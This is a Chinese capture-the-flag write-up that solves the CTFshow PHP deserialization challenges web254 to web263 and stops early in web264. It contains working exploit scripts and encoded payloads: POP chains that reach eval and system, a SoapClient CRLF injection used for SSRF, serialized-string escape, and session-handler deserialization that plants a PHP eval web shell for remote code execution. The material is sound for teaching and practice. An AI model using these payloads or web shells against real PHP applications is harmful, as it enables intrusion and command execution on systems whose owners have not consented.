CTFshow——web入门——反序列化web254-web278 详细Writeup

前言

在做题之前先简要总结一下知识点

private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00\*\x00变量名 
public变量会被序列化为:变量名
  1. __sleep() ://在对象被序列化之前运行
  2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
  3. 如果类中同时定义了 __unserialize() 和__wakeup() 两个魔术方法, 则只有__unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。
  4. __construct() :当对象被创建时,会触发进行初始化
  5. __destruct() :对象被销毁时触发
  6. __toString(): 当一个对象被当作字符串使用时触发
  7. __call() :在对象上下文中调用不可访问的方法时触发
  8. __callStatic() :在静态上下文中调用不可访问的方法时触发
  9. __get() :获得一个类的成员变量时调用,用于从不可访问的
  10. __invoke() :将对象当作函数来使用时执行此方法

题解

web254

源码如下

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
} 

代码审计

我们要获得flag,需要触发vipOneKeyGetFlag,在该函数里有if函数,所以我们要让isViptrue,所以需要在login界面的函数中让我们传入的usernamepassword等于ctfShowUser类所赋usernamepassword的值,也就是xxxxxx xxxxxx

综上,我们只需要让传入的usernamepassword的值为xxxxxx即可

payload:

http://73b5bc07-a149-4f6e-9724-2c10eb5cd612.challenge.ctf.show/?username=xxxxxx&password=xxxxxx

得到flag

image-20230807213818367

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
} 

思路跟上题类似,我们要触发vipOneKeyGetFlag()函数,在此之前要使isVip的值为true,但这道题没有直接对isVip进行赋值的操作

可以看

$user = unserialize($_COOKIE['user']); 

可以看出这里会获取名为user的cookie值并进行反序列化,所以我们可以利用这点让isVip的值为true

exp:

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;public function __construct(){$this->isVip=true;}}
$a=new ctfShowUser();
echo urlencode(serialize($a))
?>

这里注意一下要进行反序列化后摇进行url编码,不然传入的cookie值没有用

运行脚本后生成user的值

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

因为还存在login函数,需要我们传入的值和反序列化之后或者一开始的赋值相同,所以我们传入的usernamepassword还是需要为xxxxxx,最后构造payload如下

image-20230808011222699

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
} 

这道题和上一道题类似,但是多了个限制,usernamepassword不能相等,这简单,因为他会反序列化user,所以在构造exp的时候修改username或者password的值即可,exp如下

<?php
class ctfShowUser{public $username='aaa';public $password='bbb';public $isVip=true;public function __construct(){$this->isVip=true;}}
$a=new ctfShowUser();
echo urlencode(serialize($a))
?>

运行脚本得到

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

将改值放入user的cookie中,并且构造payload

http://4b5a8feb-eb47-4951-b0e8-70db3af5e89b.challenge.ctf.show/?username=aaa&password=bbb

image-20230808012026626

得到flag

web257

对象注入

<?phperror_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}

这道题就比前面难一点了,需要我们构造pop链,倒着来

如果我们想得到flag,就需要利用backdoor这个类的getInfo函数,code这个私有属性储存着我们要执行的命令,触发getInfo的方法在ctfShowUser这个类中,所以我们可以利用他的__destruct函数来触发在创建对象时类的__getInfo()函数,通过ctfShowUser__construct魔术方法来创建backdoor对象

最后链子如下

backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct

但是面临一个问题,就是backdoorcode属性是私有变量,应该如何解决

这里其实可以不管他,因为我们最后的输出是进行url编码的,最后privite生成的不可见字符\0也会被编码成%00,也可以直接将private变为public,利用php语言不敏感的特性来进行反序列化

构造exp:

<?php
class ctfShowUser{private $username='aaa';private $password='bbb';private $class = 'backdoor';public function __construct(){$this->class=new backdoor();}public function __destruct(){$this->class->getInfo();}
}
class backDoor{public $code="system('ls');";public function getInfo(){eval($this->code);}
}
$a=new ctfShowUser();
echo urlencode(serialize($a)).PHP_EOL;
?>

生成后得到

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

之后GET传参

http://4cbfba39-368d-4d7f-bcce-9ab44c391783.challenge.ctf.show/?username=aaa&password=bbb

image-20230808015710908

看到flag.php,将上面进行命令执行的code的值改为tac f*

这里不用cat是因为被过滤了,试过了

<?php
class ctfShowUser{private $username='aaa';private $password='bbb';private $class = 'backdoor';public function __construct(){$this->class=new backdoor();}public function __destruct(){$this->class->getInfo();}
}
class backDoor{public $code="system('tac f*');";public function getInfo(){eval($this->code);}
}
$a=new ctfShowUser();
echo urlencode(serialize($a)).PHP_EOL;
?>

得到

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

传入的usernamepassword不变

发包得到flag

image-20230808015904022

web258

<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}

这道题和上道题思路基本相似,pop链

backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct

但是这里多了个过滤

preg_match('/[oc]:\d+:/i', $_COOKIE['user']

正则过滤[oc]是匹配o字符或者c字符,\d匹配一个数字字符,等价于[0-9],+号是匹配前面的\d一次或者多次。下面只需要将O:11变成O:+11就可以绕过

正则表达式 – 元字符 | 菜鸟教程

并且code的值变成了public属性

构造exp:

<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='aaa';public $password='bbb';public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}public function __destruct(){$this->class->getInfo();}
}
class backDoor{public $code="system('tac f*');";public function getInfo(){eval($this->code);}
}$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo PHP_EOL;
echo urlencode($b);
?>

运行得到

O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

GET传参

username=aaa&password=bbb

image-20230808022417064

得到flag

web259

SoapClient与CRLF组合拳

index.php

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}

这道题一开始看的时候一头雾水。。。因为一个类也没有实在不知道怎么做

查了一下,考查的是PHP原生类反序列化,刚开始尝试的时候认为可以直接伪造X-Forwarded-For127.0.0.1,然后Post传参tokenctfshow

但是这道题开启的Cloudflare代理导致我们在两次array_pop操作后无法获取到127.0.0.1CloudFlare会将HTTP代理的IP地址附加到这个标头,本题情况就是在两次array_pop后我们取得的始终是固定的服务器IP,我们如何对XFF头进行修改都无济于事

因此我们需要使用SoapClientCRLF实现SSRF访问127.0.0.1/flag.php,即可绕过Cloudfare代理

array_pop函数

array_pop() 是 PHP 中的一个数组函数,它用于移除数组中的最后一个元素并返回该元素的值。这个函数会修改原始数组,使其少了最后一个元素。

$fruits = array("apple", "banana", "orange");
$lastFruit = array_pop($fruits);echo "Last fruit: " . $lastFruit; // 输出 "Last fruit: orange"
print_r($fruits); // 输出:Array ( [0] => apple [1] => banana )

新东西有点多。。。


X-Forwarded-For和CF-Connecting-IP的配合

维护代理服务器和原始访问者 IP 地址。如果发送到 Cloudflare 的请求中不含现有的 X-ForwardedFor 标头,X-Forwarded-For 将具有与 CF-Connecting-IP 标头相同的值:

示例:X-Forwarded-For:203.0.113.1

如果发送到 Cloudflare 的请求中已存在 X-Forwarded-For 标头,则 Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头:

示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.102

CRLF注入攻击

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d0x0a

在HTTP协议中,HTTP headerHTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。

CRLF漏洞常出现在Location与Set-cookie消息头中。

新浪某站CRLF Injection导致的安全问题

SoapClient与反序列化

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议

SOAP 是一 种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息

其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用 __call魔术 方法,具体信息不再赘述

首先在VPS开启监听

#test.php
<?php
$a = new SoapClient(null,array('uri'=>'bbb',
'location'=>'http://xxxx.xxx.xx:7777'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();  //调用不存在的方法,让SoapClient调用__call

然后访问ip/test.php,结果

image-20230808184747057

从这里可以看出,SOAPAction处是我们可控的参数,因此我们可以尝试注入我们自己恶意构造的CRLF,即插入\r\n

#CRLF.php<?php
$a = new SoapClient(null,array('uri'=>'bbb\r\n\r\ntest\r\n', 'location'=>'http://xxxx.xxx.xx:7777'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();  //调用不存在的方法,让SoapClient调用__call

但是我这里好像是配置问题,利用不出来

image-20230808190833219

直接偷个图,正常来说是可以利用成功的

image-20230808191043122

但是还有个问题,我们在发送POST数据的时候是需要遵循HTTP协议

指定请求头Content-Type:application/x-www-form-urlencoded,但是Content-TypeSOAPACtion的上面,所以我们就无法控制Content-Type,也就不能控制POST的数据

在header里,Content-Type的上一行是User-Agent,并且在User-agent同样可以注入CRLF,控制Content-Type的值,所以可以编写脚本

<?php
$target = 'http://120.46.41.173:7777/1111.txt';
$post_string = 'data=something';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=my_session');
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;$c = unserialize($aaa);
$c->not_exists_function();
?>

利用vps访问后可以看到成功进行CRLF注入攻击

image-20230808193521244


回到该题

修改上面的脚本,使我们可以访问到flag.php

由于再最上面提到的直接访问题目分配的docker环境导致cloudflare代理出来作怪使我们在两次 array_pop 操作后无法获取到 127.0.0.1 因此我们需要使用SoapClient与CRLF实现SSRF访问 127.0.0.1/flag.php ,即可绕过cloudlfare代理

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array('X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1','UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

但是大概率这里是会报错,因为想要生成序列化的值需要安装php-soap扩展,打开php.ini,找到extension=php_soap.dll,去掉前面的分号

image-20230808200626488

或者

image-20230808200307077

配置完成后,运行脚本生成

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A238%3A%22y4tacker%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后通过GET传参,到vip变量

image-20230808202904827

然后访问flag.txt,得到flag

image-20230808202936560

该题可以看看

Y4tacker师傅:从一道题学习SoapClient与CRLF组合拳

web260

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}

?????

直接传参ctfshow

payload:

?ctfshow=ctfshow_i_love_36D

得到flag

web261

highlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']); 

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

所以在进行反序列化的时候不用去管__wakeup,这里的coke==0x36d,是弱比较,36d是十六进制,转换为十进制就是877,这里code是在__unserialize函数触发的时候被usernamepassword拼接起来的,所以只要username=877.phppassword=shell就可以了

因为是弱比较,所以877.php=877是成立的

这里__sleep()也不用管,__sleep是在进行序列化的时候触发,所以构造exp的时候删掉就行了,__unserialize触发方式和__wakeup()一样,在反序列化开始的时候会触发,__invoke是当对象被当做函数时执行此方法

exp:

<?phpclass ctfshowvip
{public $username;public $password;public function __construct(){$this->username = '877.php';$this->password = '<?php eval($_REQUEST[cmd]);?>';}
}
$a = new ctfshowvip();
echo serialize($a);
?>

踩坑了,这里构造的时候shell不能用双引号,不然会把shell吞掉么也就是

O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:15:"<?php eval();?>";}

运行后得到

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+eval%28%24_REQUEST%5Bcmd%5D%29%3B%3F%3E%22%3B%7D

利用vip将我们的值传入

payload:

?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+eval%28%24_REQUEST%5Bcmd%5D%29%3B%3F%3E%22%3B%7D

image-20230810153302858

然后去访问877.php进行RCE,或者用蚁剑连接

image-20230810154524970

flag在根目录下

web262

反序列化字符串逃逸

index.php

<?phperror_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);

message.php

<?phphighlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}

我们最终的目的是让传入的cookieadmin

之前思考了好久为什么要进行字符串逃逸,直接改值不可以吗,但就拿这道题举例,我们只能控制f,m,t三个变量,也就是from,msg,to三个属性的值,很明显,如果按照常规姿势只传入三个变量的值是不能控制token的值的,所以我们就要借用其他变量来进行逃逸,从而达到修改这个变量的目的.

一般来说这类题目都有几个特点:

  1. php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
  2. 总是先进行序列化,再进行替换修改操作 。

回到这道题,我们需要利用to使token的值为admin

先构造我们想要的序列化结果

<?php
class message{public $token;public function __construct(){$this->token='admin';}
}$a=new message();
echo serialize($a).PHP_EOL;
#得到token=admin的序列化结果

运行脚本后得到

O:7:"message":1:{s:5:"token";s:5:"admin";}

这里我们需要的是后半部分,也就是{s:5:"token";s:5:"admin";}

但是需要前面闭合的{,而且还要加";来闭合前面的序列化字符串,所以得到字符串

";s:5:"token";s:5:"admin";}

计算一下字符串长度

<?
echo strlen('";s:5:"token";s:5:"admin";}');
#27

然后按照题目的序列化,让to等于我们得到的值然后先运行一遍看看序列化结果

<?php
class message{public $from='1';public $msg='2';public $to='3";s:5:"token";s:5:"admin";}';//多了27个字符public $token='user';
}$a = new message();
echo serialize($a);

运行后生成

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

观察运行结果

image-20230810180840324

这里s表示的值是28,但是遇到了一个字符“3”就闭合了,多出来的27个字符正是我们构造出来的序列化字符串";s:5:"token";s:5:"admin";}

如果直接传入,那么在反序列化的时候就会产生报错,所以我们就要想办法去造出来多出来的这27个字符,题目中给出

$umsg = str_replace('fuck', 'loveU', serialize($msg));

会在序列化之后生成的字符串中fuck替换为loveU,每替换一个就会多出来一个字符,所以我们构造payload的时候构造27个fuck就会在替换后多出来27个字母,因为已经序列化完了,所以s:28并不会改变,从而实现字符串逃逸

先生成27个fuck

<?php
$a=1;
for($a=1;$a<=27;$a++){echo 'fuck';
}

最终payload:

?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

传参后访问message.php得到flag

image-20230810182256902

web263

session反序列化

dirsearch扫到/www.zip,下载进行代码审计

image-20230810185649765

index.php

<?phperror_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limit']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}?>

check.php

<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);if($GET){$data= $db->get('admin',[	'id','UserName0'],["AND"=>["UserName0[=]"=>$GET['u'],"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破]]);if($data['id']){//登陆成功取消次数累计$_SESSION['limit']= 0;echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));}else{//登陆失败累计次数加1$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);echo json_encode(array("error","msg"=>"登陆失败"));}
}

inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW(['database_type' => 'mysql','database_name' => 'web','server' => 'localhost','username' => 'root','password' => 'root','charset' => 'utf8','port' => 3306,'prefix' => '','option' => [PDO::ATTR_CASE => PDO::CASE_NATURAL]
]);// sql注入检查
function checkForm($str){if(!isset($str)){return true;}else{return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);}
}class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/function  uuid()  
{  $chars = md5(uniqid(mt_rand(), true));  $uuid = substr ( $chars, 0, 8 ) . '-'. substr ( $chars, 8, 4 ) . '-' . substr ( $chars, 12, 4 ) . '-'. substr ( $chars, 16, 4 ) . '-'. substr ( $chars, 20, 12 );  return $uuid ;  
}  

可以关注一下这里

image-20230810193936001

这里的session.serialize_handlerphp,说明php.ini使用的引擎是php_serialize,否则就不需特定声明一下,在此之前先学习一下session反序列化


Session配置选项及存储方式

几个主要的与Session存储和序列化存储有关的配置选项:

session.save_path=""  设置session的存储路径
session.save_handler="" 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string 定义用来序列化/反序列化的处理器名字。默认使用php (php>=5.4默认 php_serialize)

主要了解一下session.serialize_handler 选项

session.serialize_handler( 5.5.4前默认是php;5.5.4后改为php_serialize)存在以下几种:

  • php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
  • php 键名+竖线(|)+经过serialize()函数处理过的值
  • php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

可以理解为,该配置表明了php在存储Session时的方式

例:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name'] = 'annevi';
?>

当session.serialize_handler设置为php时 session 的内容为 :name|s:6:"annevi";

name 为键名,s:6:"annevi 则是 serialize("annevi") 的结果,键名和键值之间通过 |符号分割。

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'annevi';
?>

在这种情况下,Session文件的内容是a:1:{s:4:"name";s:6:"annevi";},使用php_serialize会将session中的key(键名)value(键值)都进行序列化。

Session序列化引擎使用不当漏洞

上面提到过,session在序列化存储的时候有多种不同的方式,因此要是php在反序列化我们存储的session数据时所使用的session.serialize_handler不同,那么就有可能引发安全问题,例如:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username'] = '|O:6:"Annevi":0:{}'; 

以上的SESSION采用了 php_serialize 的存储方式,在tmp目录下 我们可以看到session被存储为

a:1:{s:8:"username";s:18:"|o:6:"Annevi":0:{}";}

我们在读取session时,采用php处理引擎:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
var_dump($_SESSION);

img

发现我们输入的字符串在php引擎的反序列化作用下得到了Annevi类,这是因为当使用php引擎的时候,php引擎会以|作为作为keyvalue的分隔符,那么就会将a:1:{s:8:"username";s:18:"作为SESSION的key,将o:6:"Annevi":0:{}作为value,进行反序列化,最后就会得到Annevi这个类。这也就导致了反序列化漏洞。

测试demo

Demo1.php

<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username'] = @$_GET['username'];
echo "<a href='test3.php' >gogogo</a>";

Demo2.php

<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();Class demo {var $username;public function __construct(){$this->username = 'guest';//$this->test();}public function __destruct(){if ($this->username == 'admin') {echo "yes";} else {echo "nonono!";}}
}

首先访问demo1.php,构造反序列化exp如下:

<?php
Class demo{public $username;public function __construct(){$this->username = 'admin';}
}
$obj = new demo();
echo serialize($obj);
//O:4:"demo":1:{s:8:"username";s:5:"admin";}

提交payload:

http://demo/demo1.php?username=|O:4:"demo":1:{s:8:"username";s:5:"admin";}

再访问demo2.php

img

成功将 username的值通过反序列化漏洞修改为admin.

相关文章:

PHP Session 序列化机制及其引发的安全漏洞

深入浅析PHP的session反序列化漏洞问题


所以我们可以通过limit来进行session反序列化,这里有一个可以利用类

class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}

这里有·file_put_contents函数,所以可以利用这个类进行session反序列化

在构造exp的时候注意一下,要进行base64编码,因为在index.php解析limit的时候经过了一次base64_decode

exp:

class User{public $username;public $password;function __construct(){$this->username = 'shell.php';$this->password = '<?php eval($_REQUEST["cmd"]);?>';}
}echo urlencode(base64_encode('|'.serialize(new User())));

运行脚本生成

fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo5OiJzaGVsbC5waHAiO3M6ODoicGFzc3dvcmQiO3M6MzE6Ijw%2FcGhwIGV2YWwoJF9SRVFVRVNUWyJjbWQiXSk7Pz4iO30%3D

踩坑了,这里最好不要用浏览器直接打,用burp打成功的概率高一点,不知道是什么原因

一开始以为是status的问题,一直这上面找,结果发现这个东西也可有可无,反而没有的时候成功了

burp抓包后修改limit

image-20230811154737931然后带着limit这个cookie去访问check.php

image-20230811154837238

这里check.php的报错内容不用管

从代码可以看出

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));

我们的文件前面都被加上了log-,所以去访问log-shell.php

image-20230811155022919

可以看出文件已经创建成功,直接进行RCE,注意要进行url编码

payload:

/log-shell.php?cmd=system("cat+f*")%3b

image-20230811155236192

web264

index.php

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
error_reporting(0);
session_start();class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
